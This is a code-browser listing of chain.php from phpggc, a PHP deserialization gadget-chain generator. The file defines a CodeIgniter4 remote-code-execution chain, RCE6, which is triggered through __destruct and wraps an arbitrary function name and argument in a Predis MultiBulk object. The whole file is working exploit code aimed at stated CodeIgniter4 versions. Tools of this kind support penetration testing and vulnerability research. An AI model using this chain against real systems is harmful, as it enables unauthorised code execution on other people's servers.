Codebase list phpggc / a0c45150-ee46-4d00-8416-0c7c72366661/upstream/0.20210218+git20221216.0.23e29e8 gadgetchains / CodeIgniter4 / RCE / 6 / chain.php
a0c45150-ee46-4d00-8416-0c7c72366661/upstream/0.20210218+git20221216.0.23e29e8

Tree @a0c45150-ee46-4d00-8416-0c7c72366661/upstream/0.20210218+git20221216.0.23e29e8 (Download .tar.gz)

chain.php @a0c45150-ee46-4d00-8416-0c7c72366661/upstream/0.20210218+git20221216.0.23e29e8raw · history · blame

<?php

namespace GadgetChain\CodeIgniter4;

class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '-4.1.3 <= 4.2.10+';
    public static $vector = '__destruct';
    public static $author = 'CyanM0un';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \Predis\Response\Iterator\MultiBulk($function, $parameter);
    }
}